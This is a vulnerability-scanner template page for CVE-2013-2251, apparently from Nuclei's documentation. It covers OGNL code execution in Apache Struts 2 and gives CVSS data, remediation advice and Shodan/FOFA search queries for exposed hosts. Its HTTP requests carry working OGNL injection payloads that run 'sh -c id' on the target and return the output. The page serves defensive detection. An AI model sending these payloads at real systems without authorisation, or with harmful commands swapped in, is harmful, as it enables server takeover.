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Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution

ID: CVE-2013-2251

Severity: critical

Author: exploitation,dwisiswant0,alex

Tags: cve2013,cve,rce,struts,apache,ognl,kev

Description

Section titled “Description”

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:”, or “redirectAction:” is not properly sanitized and will be evaluated as an OGNL expression against the value stack. This introduces the possibility to inject server side code.

YAML Source

Section titled “YAML Source”
id: CVE-2013-2251


info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
  author: exploitation,dwisiswant0,alex
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:", or "redirectAction:" is not properly sanitized and will be evaluated as an OGNL expression against the value stack. This introduces the possibility to inject server side code.
  impact: |
    This vulnerability can lead to remote code execution, allowing attackers to take control of the affected system.
  remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later.
  reference:
    - http://struts.apache.org/release/2.3.x/docs/s2-016.html
    - https://cwiki.apache.org/confluence/display/WW/S2-016
    - https://nvd.nist.gov/vuln/detail/CVE-2013-2251
    - http://archiva.apache.org/security.html
    - http://cxsecurity.com/issue/WLB-2014010087
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2013-2251
    cwe-id: CWE-20
    epss-score: 0.97432
    epss-percentile: 0.99936
    cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 9
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2013,cve,rce,struts,apache,ognl,kev


http:
  - raw:
      - |
        GET /index.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /login.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /index.action?{{params}}%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
        Host: {{Hostname}}
        Accept: */*


    payloads:
      params:
        - "redirect"
        - "action"
        - "redirectAction"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"


      - type: status
        status:
          - 200
          - 400
        condition: or
# digest: 4a0a00473045022100d2134e273621f3e48648bed4f291dea667ebfd7ea848ba5d71a29487a927b10602202b031e5d1d21416d825ebd8c55da4f96c751b28905a9f03a05235b8c0c4105fb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2013/CVE-2013-2251.yaml"

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